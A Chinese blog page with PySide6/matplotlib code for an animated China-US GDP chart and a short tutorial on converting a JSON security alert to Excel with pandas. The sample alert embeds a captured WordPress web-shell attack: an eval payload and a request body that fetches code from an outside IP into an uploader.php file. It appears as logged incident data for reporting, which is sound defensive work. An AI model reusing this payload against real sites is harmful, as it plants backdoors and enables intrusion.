
效果如文章最前面所示。

四、完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import re
import sys
import pandas as pd
import locale
import matplotlib.ticker as mticker
from PySide6.QtCore import Qt, Slot, QTimer
from PySide6.QtWidgets import QMainWindow, QApplication, QVBoxLayout, QHBoxLayout, QWidget, QSlider, QComboBox
from matplotlib.backends.backend_qtagg import FigureCanvasQTAgg
from matplotlib.figure import Figure

figure = Figure(figsize=(12, 6), dpi=90)

global cur_data_len, cur_major_locator
cur_data_len = 10 # 当前显示的数据量(显示10年的数据)
cur_major_locator = 10 # 当前刻度的定位器(主刻度)

pattern = re.compile('\((\S*)\)')

def getgdpvalue(gdpstr):
re_obj=pattern.search(gdpstr)
gdp_value=locale.atof(re_obj.group(1))/100000000
return gdp_value

class ApplicationWindow(QMainWindow):

def __init__(self, parent=None,org_data=None):
QMainWindow.__init__(self, parent)
self.axes = None
self.axis_china=None
self.axis_us=None
self.datacount=10
self.org_data = org_data
self.auto_offset = 0
# Central widget
self._main = QWidget()
self.setCentralWidget(self._main)
# Figure
self.canvas = FigureCanvasQTAgg(figure)
if len(self.org_data) > 0:
show_data = self.org_data[0:self.datacount]
self.axes = self.canvas.figure.subplots()
self.axes.set_title('中美GDP对比')
self.axis_china = self.axes.plot(show_data['年份'], show_data['china_gdp_value'], label='中国GDP')
self.axis_us = self.axes.plot(show_data['年份'], show_data['us_gdp_value'], label='美国GDP')
y_max = max(self.org_data['us_gdp_value'].max(), self.org_data['china_gdp_value'].max())
self.axes.set_ylabel('GDP(亿元)')
self.axes.set_xlabel('年份')
self.axes.set_ylim(0, y_max)
self.axes.set_xlim(show_data['年份'].min(), show_data['年份'].max())
self.axes.legend(loc="upper left")
self.axes.yaxis.set_major_locator(mticker.MultipleLocator(20000))
self.axes.xaxis.set_major_locator(mticker.MultipleLocator(1))
figure.tight_layout() # 自动调整子图参数,使之填充整个图像区域
# 下拉框,选择模式 # ComboBox (combo_type)
self.combo_type = QComboBox()
self.combo_type.addItems(['自动播放', '手动播放'])
# Sliders
min_value = 0
self.max_value = len(self.org_data)-cur_data_len
self.slider_update = QSlider(minimum=min_value, maximum=self.max_value, orientation=Qt.Horizontal) # 滑动条
layout1 = QHBoxLayout()
layout1.addWidget(self.combo_type)
# layout
layout2 = QVBoxLayout()
layout2.addWidget(self.canvas, 88)
layout2.addWidget(self.slider_update)
# Main layout
layout = QVBoxLayout(self._main)
layout.addLayout(layout1)
layout.addLayout(layout2, 100)
self.canvas.draw()
# Signal and Slots connections
self.combo_type.currentTextChanged.connect(self.selecttype)
self.slider_update.valueChanged.connect(self.update_frequency)
self.autoslider()

def autoslider(self):
self.timer = QTimer()
self.timer.setInterval(100) # 100毫秒更新一次数据
self.timer.timeout.connect(self.autoupdate) #自动更新数据,每次更新偏移量加1,也就是跳一年的数据
self.timer.start()

def autoupdate(self):
self.update_frequency(self.auto_offset)
self.slider_update.setSliderPosition(self.auto_offset)
if self.auto_offset < self.max_value:
self.auto_offset = self.auto_offset+1
else:
self.auto_offset = 0

@Slot()
def selecttype(self, text):
if '自动播放' == text:
self.autoslider()
elif '手动播放' == text:
self.timer.stop()

@Slot()
def update_frequency(self, new_val):
# 偏移量每次偏移1
f = int(new_val)
offset = f + cur_data_len # 偏移刻度
show_data = self.org_data[f: offset]
x = show_data['年份']
y_china = show_data['china_gdp_value']
y_us = show_data['us_gdp_value']
self.axes.set_xlim(x.min(), x.max())
self.axis_china[0].set_data(x, y_china)
self.axis_us[0].set_data(x, y_us)
self.canvas.draw()


if __name__ == "__main__":
app = QApplication(sys.argv)
locale.setlocale(locale.LC_ALL, 'en_US.UTF-8')
df_data = pd.read_excel('data\中国VS美国.xlsx')
df_data = df_data.loc[1:len(df_data)]
df_data['china_gdp_value'] = df_data['中国'].map(getgdpvalue)
df_data['us_gdp_value'] = df_data['美国'].map(getgdpvalue)
df_data = df_data.sort_values('年份')
w = ApplicationWindow(org_data=df_data)
w.setFixedSize(1000, 500)
w.show()
app.exec()

六、总结

Python实现matplotlib动态绘图,是非常简单和容易的,其实关键还是在数据的组织,也就是要准备好要绘图的坐标轴的x的数据和y的数据,通过set_data(x,y)来动态更新数据,要注意的是变化的数据后X轴或Y轴的显示要变化,这里可以通过轴的set_xlim()或set_ylim()方法来动态设置,刻度也可通过set_major_locator()来指定。

数据集见 https://xiejava1018.github.io/xiejavaimagesrc/images/2023/20230827/中国VS美国.xlsx


作者博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

Python三行代码实现json转Excel

发表于 2023-08-18 | 更新于: 2025-08-10 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 656 | 阅读时长 ≈ 3

最近重保,经常需要通过Excel上报威胁事件。安全设备的告警很多都是json格式的,就需要将json转成Excel。
用Python将json转成excel也就三行代码的事,先将json串导入形成字典对象,再通过pandas转成DataFrame直接输出excel。
实现如下:

一、引包

引入pandas包,pandas写excel依赖openpyxl包所以也到导入

1
2
pip install pandas 
pip install openpyxl

二、代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import json
import pandas as pd
json_data=r'''
{
"msg": "",
"killChain": "02",
"attackIllustration": "1起恶意盲打木马写入攻击",
"traceSourceFlag": "01",
"riskLevel": "02",
"holeType": "",
"discoveryTime": "2023-08-15 14:36:23",
"disposalMeasure": "01",
"informationSource": "长亭WAF",
"disposalSuggestion": "建议封禁",
"riskLevelPredue": "",
"impactFlag": "02",
"disposalOperateRecord": "WAF封禁",
"serialNo": "ABC123",
"sourceIpBelong": "美国",
"potentialImpact": "无",
"sourceIpType": "04",
"protocalType": "HTTP",
"disposalFlag": "01",
"groupOrderType": "1",
"comment": "通过微步溯源,IP归属地是美国",
"attackDetail": "POST //wp-admin/css/colors/blue/blue.php?wall=ZWNobyBhRHJpdjQ7ZXZhbCgkX1BPU1RbJ3Z6J10pOw== HTTP/1.1\n\nHost: abcd.cn\n\nConnection: keep-alive\n\nAccept-Encoding: gzip, deflate\n\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\n\nUser-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36\n\nAccept-Language: en-US,en;q=0.9,fr;q=0.8\n\nCache-Control: max-age=0\n\nreferer: www.google.com\n\nUpgrade-Insecure-Requests: 1\n\nContent-Length: 231\n\nContent-Type: application/x-www-form-urlencoded\n\n\n\nvz=$x=fwrite(fopen($_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/colors/blue/uploader.php','w+'),file_get_contents('http://51.79.124.111/vz.txt'));echo+\"aDriv4\".$x;",
"taskId": "",
"status": ""
}'''
dic_data = json.loads(json_data,strict=False)
df_data=pd.DataFrame(dic_data,index=[0])
df_data.to_excel('attack.xlsx')

效果:
json转excel

三、注意事项

因为attackDetail字段有很多类似\n等的转义符,会导致json解析不成功,在json.loads的时候就会报错。报类似于
json.decoder.JSONDecodeError: Expecting ',' delimiter: line 50 column 149 (char 1339)的错误。所以需要在字符串前面加r标识来忽略掉转义机制。

常见的字符串标识u,r,b,f

  • 字符串前加u
    后面字符串以 Unicode格式进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时出现乱码。
  • 字符串前加r
    去掉反斜杠的转义机制。(特殊字符:即那些,反斜杠加上对应字母,表示对应的特殊含义的,比如最常见的”\n”表示换行,”\t”表示Tab等。 )
  • 字符串前加b
    b前缀表示:后面字符串是bytes 类型。
  • 字符串前加f
    以 f 开头表示在字符串内支持大括号内的python 表达式字符串拼接。
    如:
1
2
3
name='xiejava'
outputstr=f'My name is {name}'
print(outputstr)

输出结果为:

1
My name is xiejava

博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

<1…91011…21>
XieJava

XieJava

208 日志
11 分类
27 标签
RSS
GitHub
友情链接
  • 爱分享读书
  • CSDN
  • 豆瓣
© 2025 XieJava | Site words total count: 426.6k

主题 — NexT.Muse
0%